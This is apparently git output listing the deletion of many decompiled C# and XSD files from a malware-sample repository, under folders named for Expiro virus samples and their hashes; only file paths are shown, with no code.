MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPSIZE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMARKUPSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMEMCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUBANDHANDLERCID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUPOPUPPOPUPFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMENUPOPUPSELECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMKREDUCE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMKSYS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSHCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagMSHLFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNAMESPACEWALKFLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCECLICKTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCEHITTEST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCGNI.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCITEMSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCROOTSTYLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagNSTCSTYLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLECLOSE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLECONTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEDCFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEGETMONIKER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLELINKBIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEMISC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLERENDER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEUPDATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEVERBATTRIB.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEWHICHMK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOPEN_AS_INFO_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPENDINGMSG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPENDINGTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPERSIST_SPROPSTORE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPKA_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPOINTERINACTIVE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPBAG2_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_AGGREGATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_COLUMNINDEX_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_CONDITION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_DISPLAYTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_ENUMFILTER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_FORMAT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_GROUPING_RANGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_SEARCHINFO_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_SORTDESCRIPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_TYPE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_VIEW_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPENUMTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_FORMAT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_NAME_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPPAGESTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPVARIANT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPictureAttributes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagQACONTAINERFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagQUERY_PARSER_MANAGER_OPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREADYSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagRECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREGCLS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREGKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSERVERCALL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSF_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHCOLSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHCONTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHELLITEMCOMPAREHINTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHELLPROPSHEETEXTPAGEID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHGDN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIATTRIBFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIGDN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSIIGB.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSLGP_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSLR_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOMASK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSMINFOTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSPBEGINF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSPINITF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTATFLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTDMSHLFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGMOVE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGOP.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTGTY.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTREAM_SEEK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRRET_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_MULTIOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_PARSE_ERROR.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSVGIO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSVUIA_STATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSYSKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagShutdownType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTEXTMETRICA.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTEXTMETRICW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYMED.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYPEFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYPEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagTYSPEC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagUASFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagURLTEMPLATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagURLZONE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagUSERCLASSTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARIANT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVARKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagVIEWSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagXFORMCOORDS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagXMLEMEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_CIMTYPE_ENUMERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEMSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEMSTATUS_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_BACKUP_RESTORE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CHANGE_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_COMPARISON_FLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_COMPILER_OPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CONDITION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_CONNECT_OPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_FLAVOR_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_GENERIC_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_GENUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_INFORMATION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LIMITATION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LIMITS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_LOCKING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_QUERY_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_REFRESHER_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_SECURITY_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_SHUTDOWN_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_STATUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_TEXT_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_TIMEOUT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WBEM_UNSECAPP_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tag_WMI_OBJ_TEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tm.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-identity-2007.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-policy-2007.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-policy.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-securitypolicy-1/2.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-securitypolicy.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-trust-1/3.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ws-trust.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xenc-schema.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xml.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/xmldsig-core-schema.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/$_TypeDescriptor$_extraBytes_16.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/$_s__RTTIBaseClassArray$_extraBytes_4.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/BrowserNavConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/CallMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/CommandStateChangeConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/EHExceptionRecord.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HDC__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HINSTANCE__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/HWND__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IGNOREMIME.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMAGE_AUX_SYMBOL_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMPORT_OBJECT_NAME_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/IMPORT_OBJECT_TYPE.cs delete mode 100644 